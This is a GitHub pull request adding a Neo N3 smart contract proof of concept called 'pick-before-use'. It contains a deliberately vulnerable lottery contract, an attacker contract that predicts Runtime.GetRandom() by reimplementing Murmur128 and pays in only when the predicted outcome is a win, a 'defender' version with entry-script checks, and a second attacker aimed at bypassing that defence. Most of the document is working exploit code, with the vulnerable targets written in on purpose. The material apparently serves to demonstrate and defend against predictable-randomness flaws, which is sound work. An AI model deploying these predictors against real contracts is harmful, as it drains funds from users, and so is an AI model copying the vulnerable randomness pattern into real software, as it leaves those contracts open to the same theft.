Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add pick-before-use attack example #22

Merged
merged 6 commits into from
Apr 22, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions PoC/PickBeforeUse/Lottery/Lottery.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
using System.ComponentModel;
using System.Numerics;
using Neo;
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Attributes;
using Neo.SmartContract.Framework.Native;
using Neo.SmartContract.Framework.Services;

namespace Lottery
{
[DisplayName("Lottery")]
[ManifestExtra("Author", "NEO")]
[ManifestExtra("Email", "developer@neo.org")]
[ManifestExtra("Description", "This is a Lottery. Send 1 NEO and you will probably get 2 NEO.")]
public class Lottery : SmartContract
{
public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
{
if (Runtime.CallingScriptHash == NEO.Hash && amount == 1)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

EntryScritptHash is the hash of the transaction script, then, we might need to manually verify the format of the script. Check the first few bytes mabye?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes. I think gleeder's check is better. It checks every bit in the tx's script.

{
if (Runtime.GetRandom() % 2 == 1) {
ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, from, 2, data));
}
}
}
}
}
12 changes: 12 additions & 0 deletions PoC/PickBeforeUse/Lottery/Lottery.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
</ItemGroup>
<Target Name="PostBuild" AfterTargets="PostBuildEvent">
<Exec Command="$(neon3) $(ProjectDir)" />
</Target>
</Project>
65 changes: 65 additions & 0 deletions PoC/PickBeforeUse/LotteryAttacker/LotteryAttacker.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
using System;
using System.ComponentModel;
using System.Numerics;
using Neo;
using Neo.SmartContract;
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Attributes;
using Neo.SmartContract.Framework.Native;
using Neo.SmartContract.Framework.Services;

namespace LotteryAttacker
{
[DisplayName("LotteryAttacker")]
[ManifestExtra("Author", "NEO")]
[ManifestExtra("Email", "developer@neo.org")]
[ManifestExtra("Description", "This is a LotteryAttacker")]
public class LotteryAttacker : SmartContract
{
[InitialValue("NQpRgzN6TVoJ7MMTVsHzvvrfidgjtJNEdo", ContractParameterType.Hash160)]
private static readonly UInt160 Lottery = default;
[DisplayName("Predicated")]
public static event PredicatedEvent onPredicated;
public delegate void PredicatedEvent(BigInteger rand);
[DisplayName("RealRandom")]
public static event RealRandomEvent onRealRandom;
public delegate void RealRandomEvent(BigInteger rand);

public static void Predicate() {
BigInteger rand = Runtime.GetRandom();
for (int i = 0; i < 10; i++) {
byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork());
onPredicated(new BigInteger(nextrand.Concat(new byte[]{0x00})));
rand = Runtime.GetRandom();
onRealRandom(rand);
}
}

public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
{
}

public static int Attack() {
BigInteger rand = Runtime.GetRandom();
for (int i = 0; i < 10; i++) {
byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork());
if ((new BigInteger(nextrand)) % 2 == 1) {
ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, Lottery, 1, null));
return i;
}
rand = Runtime.GetRandom();
}
return 0;
}

public static void Update(ByteString nefFile, string manifest)
{
ContractManagement.Update(nefFile, manifest, null);
}

public static byte[] murmur128(byte[] nonceData, uint seed) {
ExecutionEngine.Assert(nonceData.Length == 16, "invalid nonce length");
return Murmur128.Hash(nonceData, seed);
}
}
}
12 changes: 12 additions & 0 deletions PoC/PickBeforeUse/LotteryAttacker/LotteryAttacker.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
</ItemGroup>
<Target Name="PostBuild" AfterTargets="PostBuildEvent">
<Exec Command="$(neon3) $(ProjectDir)" />
</Target>
</Project>
78 changes: 78 additions & 0 deletions PoC/PickBeforeUse/LotteryAttacker/Murmur128.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
using System.Numerics;
using Neo.SmartContract.Framework;
using System.ComponentModel;

namespace LotteryAttacker
{
public class Murmur128
{
private const ulong c1 = 0x87c37b91114253d5;
private const ulong c2 = 0x4cf5ad432745937f;
private const int r1 = 31;
private const int r2 = 33;
private const uint m = 5;
private const uint n1 = 0x52dce729;
private const uint n2 = 0x38495ab5;

public static byte[] Hash(byte[] array, uint seed)
{
ulong H1 = seed;
ulong H2 = seed;
ulong k1 = (ulong)new BigInteger(array.Take(8).Concat(new byte[] { 0x00 }));
k1 *= c1;
k1 &= 0xffffffffffffffff;
k1 = RotateLeft(k1, r1);
k1 *= c2;
k1 &= 0xffffffffffffffff;
H1 ^= k1;
H1 = RotateLeft(H1, 27);
H1 += H2;
H1 &= 0xffffffffffffffff;
H1 = H1 * m + n1;
H1 &= 0xffffffffffffffff;
ulong k2 = (ulong)new BigInteger(array.Last(8).Concat(new byte[] { 0x00 }));
k2 *= c2;
k2 &= 0xffffffffffffffff;
k2 = RotateLeft(k2, r2);
k2 *= c1;
k2 &= 0xffffffffffffffff;
H2 ^= k2;
H2 = RotateLeft(H2, 31);
H2 += H1;
H2 &= 0xffffffffffffffff;
H2 = H2 * m + n2;
H2 &= 0xffffffffffffffff;
ulong len = (ulong)array.Length;
H1 ^= len;
H2 ^= len;
H1 += H2;
H1 &= 0xffffffffffffffff;
H2 += H1;
H2 &= 0xffffffffffffffff;
H1 = FMix(H1);
H2 = FMix(H2);
H1 += H2;
H1 &= 0xffffffffffffffff;
H2 += H1;
H2 &= 0xffffffffffffffff;
var first = ((BigInteger)H1).ToByteArray().Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).Take(8);
var second = ((BigInteger)H2).ToByteArray().Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).Take(8);
return first.Concat(second);
}
private static ulong FMix(ulong h)
{
h = (h ^ (h >> 33)) * 0xff51afd7ed558ccd;
h &= 0xffffffffffffffff;
h = (h ^ (h >> 33)) * 0xc4ceb9fe1a85ec53;
h &= 0xffffffffffffffff;
return (h ^ (h >> 33));
}
public static ulong RotateLeft(ulong value, int offset)
=> ((value << offset) & 0xffffffffffffffff) | (value >> (64 - offset));
}
}





52 changes: 52 additions & 0 deletions PoC/PickBeforeUse/LotteryWithDefender/LotteryWithDefender.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
using System.ComponentModel;
using System.Numerics;
using Neo;
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Attributes;
using Neo.SmartContract.Framework.Native;
using Neo.SmartContract.Framework.Services;

namespace LotteryWithDefender
{
[DisplayName("LotteryWithDefender")]
[ManifestExtra("Author", "NEO")]
[ManifestExtra("Email", "developer@neo.org")]
[ManifestExtra("Description", "This is a LotteryWithDefender. Call play to earn NEO.")]
public class LotteryWithDefender : SmartContract
{
[DisplayName("Lottery")]
public static event LotteryEvent onLottery;
public delegate void LotteryEvent(ByteString name);

public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
{
}

public static void Play(ByteString name, UInt160 receiver)
{
ExecutionEngine.Assert(Runtime.EntryScriptHash == Runtime.CallingScriptHash, "FAUD: Contract call is not allowed.");
ExecutionEngine.Assert((((Transaction)Runtime.ScriptContainer).Script.Length <= name.Length + 60), "FAUD:Transaction script length error.");
ExecutionEngine.Assert(name.Length <= 6, "FAUD:Long name is now allowed.");
// the calling script should be
// PUSHDATA1 ${name} (size = 2 + name.Length)
// PUSHDATA1 receiver (size = 22)
// PUSH1 (size = 1)
// PACK (size = 1)
// PUSH15 (size = 1)
// PUSHDATA1 play (size = 6)
// PUSHDATA1 0x726cb6e0cd8628a1350a611384688911ab75f51b (size = 22)
// SYSCALL System.Contract.Call (size = 5)
// example normal script: DAZhdHRhY2sMFAS4eMLY2Qfs8dcYmQ+QOGfFkqETEsAfDARwbGF5DBQb9XWrEYlohBNhCjWhKIbN4LZsckFifVtS

if (Runtime.GetRandom() % 2 == 1) {
ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, receiver, 1, null));
onLottery(name);
}
}

public static void Update(ByteString nefFile, string manifest)
{
ContractManagement.Update(nefFile, manifest, null);
}
}
}
12 changes: 12 additions & 0 deletions PoC/PickBeforeUse/LotteryWithDefender/LotteryWithDefender.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
</ItemGroup>
<Target Name="PostBuild" AfterTargets="PostBuildEvent">
<Exec Command="$(neon3) $(ProjectDir)" />
</Target>
</Project>
12 changes: 12 additions & 0 deletions PoC/PickBeforeUse/LotteryWithDefender/normalplay.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<lazy xmlns:a="Assembly" xmlns:b="Basic">
<!-- NEOVM v3.2.0 -->
<!-- NEO v3.2.1 -->
<!-- NEONODE v3.2.1 -->
<!-- NEOMODULES v3.2.1 -->
<a:bytes val="04b878c2d8d907ecf1d718990f903867c592a113" /> <!-- receiver = our address in little endian -->
<a:string val="attack" /> <!-- name = attack -->
<a:int val="2" />
<pack /> <!-- pack these two parameters -->
<a:contractcall hash="0x3e462750e19bc09f64d44c4b0135081d9b2b7617" method="play" />
<!-- call the lottery's play -->
</lazy>
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
using System;
using System.ComponentModel;
using System.Numerics;
using Neo;
using Neo.SmartContract;
using Neo.SmartContract.Framework;
using Neo.SmartContract.Framework.Attributes;
using Neo.SmartContract.Framework.Native;
using Neo.SmartContract.Framework.Services;

namespace LotteryWithDefenderAttacker
{
[DisplayName("LotteryWithDefenderAttacker")]
[ManifestExtra("Author", "NEO")]
[ManifestExtra("Email", "developer@neo.org")]
[ManifestExtra("Description", "This is a LotteryWithDefenderAttacker")]
public class LotteryWithDefenderAttacker : SmartContract
{
[InitialValue("NLLvsqs7AyBNmQT6NThUxYWDFwV5b1evaK", ContractParameterType.Hash160)]
private static readonly UInt160 Owner = default;

public static ByteString[] a() {
BigInteger rand = Runtime.GetRandom();
for (int i = 0; i < 10; i++) {
byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork());
if ((new BigInteger(nextrand)) % 2 == 1) {
return new ByteString[] {"attack", Owner};
}
rand = Runtime.GetRandom();
}
ExecutionEngine.Abort();
return new ByteString[] {"attack", Owner};
}

public static void Update(ByteString nefFile, string manifest)
{
ContractManagement.Update(nefFile, manifest, null);
}

public static byte[] murmur128(byte[] nonceData, uint seed) {
ExecutionEngine.Assert(nonceData.Length == 16, "invalid nonce length");
return Murmur128.Hash(nonceData, seed);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
<PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
</ItemGroup>
<Target Name="PostBuild" AfterTargets="PostBuildEvent">
<Exec Command="$(neon3) $(ProjectDir)" />
</Target>
</Project>
Loading